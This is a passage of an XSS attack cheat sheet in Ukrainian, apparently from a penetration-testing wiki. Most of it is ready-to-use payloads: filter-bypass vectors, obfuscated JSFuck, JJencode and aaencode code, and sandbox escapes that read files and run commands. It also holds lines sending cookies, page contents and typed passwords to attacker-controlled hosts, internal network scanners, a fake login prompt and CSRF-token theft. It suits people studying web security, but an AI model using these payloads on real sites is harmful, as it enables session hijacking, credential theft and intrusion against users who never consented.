al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Є JS code, що використовує ненадійні дані, керовані атакуючим, як-от location.href
. Атакуючий може зловживати цим, щоб виконати довільний JS-код.\
Через великий обсяг пояснення DOM vulnerabilities it was moved to this page:
{{#ref}} dom-xss.md {{#endref}}
Там ви знайдете детальне пояснення того, що таке DOM vulnerabilities, як вони спричиняються та як їх експлуатувати.\
Також не забувайте, що в кінці згаданого посту ви можете знайти пояснення про DOM Clobbering attacks.
Ескалація Self-XSS
Cookie XSS
Якщо ви можете викликати XSS, надіславши payload у cookie, це зазвичай self-XSS. Однак, якщо ви знайдете vulnerable subdomain to XSS, ви можете зловживати цим XSS, щоб інжектувати cookie на весь домен, змусивши спрацювати cookie XSS у головному домені або в інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack:
{{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}}
Ви можете знайти відмінний приклад зловживання цією технікою в this blog post.
Надсилання вашої сесії до admin
Можливо, користувач може поділитися своїм профілем з admin, і якщо self XSS знаходиться в профілі користувача, а admin відкриє його, він спровокує вразливість.
Session Mirroring
Якщо ви знайдете self XSS і веб-сторінка має session mirroring for administrators, наприклад дозволяючи клієнтам просити допомоги, то для того, щоб admin допоміг, він бачитиме те, що ви бачите у вашій сесії, але з його сесії.
Ви можете змусити administrator trigger your self XSS і вкрасти його cookies/session.
Інші методи обходу
Нормалізований Unicode
Ви можете перевірити, чи reflected values нормалізуються як unicode normalized на сервері (або на клієнтській стороні) і зловживати цією функціональністю, щоб обійти захист. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Через RoR mass assignment в HTML вставляються лапки, після чого обмеження на лапки обходиться і всередині тега можна додати додаткові поля (onfocus).
Приклад форми (from this report), якщо ви надішлете payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Пара "Key","Value" буде виведена ось так:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Тоді атрибут onfocus буде вставлено, і відбудеться XSS.
Спеціальні комбінації
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Якщо ви виявите, що можете inject headers in a 302 Redirect response, можете спробувати make the browser execute arbitrary JavaScript. Це не тривіально, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо HTTP статусний код — 302, тож простий cross-site scripting payload марний.
In this report and this one ви можете прочитати, як протестувати кілька протоколів всередині Location header і перевірити, чи дозволяє якийсь із них браузеру інспектувати та виконати XSS payload всередині тіла.
Відомі протоколи: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Only Letters, Numbers and Dots
Якщо ви можете вказати callback, який javascript збирається execute, обмежений лише цими символами. Read this section of this post щоб дізнатися, як зловживати цією поведінкою.
Valid <script>
Content-Types to XSS
(From here) Якщо ви спробуєте завантажити скрипт з content-type, таким як application/octet-stream
, Chrome видасть таку помилку:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Єдині Content-Typeи, які дозволяють Chrome виконати loaded script, — це ті, що перераховані в константі kSupportedJavascriptTypes
з https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Типи script для XSS
(Взято з here) Отже, які типи можна вказати для завантаження script?
<script type="???"></script>
Відповідь:
- module (default, нічого пояснювати)
- webbundle: Web Bundles — це функція, яка дозволяє упакувати велику кількість даних (HTML, CSS, JS…) разом у файл
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Дозволяє покращити синтаксис import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ця поведінка була використана в this writeup щоб переназначити бібліотеку на eval і зловживати цим — це може призвести до XSS.
- speculationrules: Ця функція насамперед покликана вирішити деякі проблеми, спричинені попереднім рендерингом. Працює так:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Веб Content-Types для XSS
(From here) The following content types can execute XSS in all browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але, здається, я бачив це в CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In other browsers other Content-Types
can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Спеціальні шаблони заміни
Коли використовується щось на кшталт "some {{template}} data".replace("{{template}}", <user_input>)
, атакуючий може використати special string replacements, щоб спробувати обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Наприклад, у this writeup це було використано, щоб ескейпнути JSON рядок всередині скрипта і виконати довільний код.
Chrome Cache to XSS
{{#ref}} chrome-cache-to-xss.md {{#endref}}
XS Jails Escape
Якщо у вас є лише обмежений набір символів для використання, перегляньте інші робочі рішення для проблем XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Якщо everything is undefined перед виконанням недовіреного коду (як у this writeup) можна згенерувати корисні об'єкти «нізвідки», щоб зловживати виконанням довільного недовіреного коду:
- Використовуючи import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Опосередкований доступ до
require
Згідно з цим модулі обгортаються функцією Node.js, приблизно так:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Отже, якщо з того модуля ми можемо викликати іншу функцію, то з цієї функції можна використати arguments.callee.caller.arguments[1]
для доступу до require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Подібно до попереднього прикладу, можна використовувати error handlers для доступу до wrapper модуля та отримання функції require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Обфускація та просунуті методи обходу
- Різні обфускації на одній сторінці: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Більш складний JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS поширені payloads
Кілька payloads в 1
{{#ref}} steal-info-js.md {{#endref}}
Iframe пастка
Змусити користувача переміщатися по сторінці, не виходячи з iframe, і викрасти його дії (включно з інформацією, надісланою у формах):
{{#ref}} ../iframe-traps.md {{#endref}}
Отримати Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Ви не зможете отримати доступ до cookies з JavaScript, якщо прапорець HTTPOnly встановлено в cookie. Але тут у вас є some ways to bypass this protection, якщо вам пощастить.
Вкрасти вміст сторінки
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Знайти внутрішні IPs
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Короткі часи вказують на порт, який відповідає Триваліші часи вказують на відсутність відповіді.
Перегляньте список портів, заблокованих у Chrome here та у Firefox here.
Блок для запиту облікових даних
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Коли в поле пароля вводяться будь-які дані, ім'я користувача та пароль відправляються на сервер нападника — навіть якщо клієнт вибирає збережений пароль і нічого не вводить, the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Якщо критичний handler (наприклад, function DoLogin(){...}
) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, via an inline JS-in-JS sink), визначте const
з тим же ім'ям спочатку, щоб перехопити й зафіксувати handler. Подальші оголошення функцій не можуть перевизначити const
-ім'я, залишаючи ваш hook під контролем:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Примітки
- Це залежить від порядку виконання: ваша ін'єкція має виконатися перед легітимним оголошенням.
- Якщо ваш payload обгорнуто в
eval(...)
, зв'язкиconst/let
не стануть глобальними. Використовуйте техніку динамічної вставки<script>
з розділу “Deliverable payloads with eval(atob()) and scope nuances” щоб забезпечити справжню глобальну прив'язку, яку неможливо перевизначити. - Коли фільтри ключових слів блокують код, комбінуйте з Unicode-escaped ідентифікаторами або доставкою через
eval(atob('...'))
, як показано вище.
Keylogger
Просто шукаючи в github я знайшов кілька різних:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Також можна використовувати metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Перехоплення повідомлень PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Зловживання Service Workers
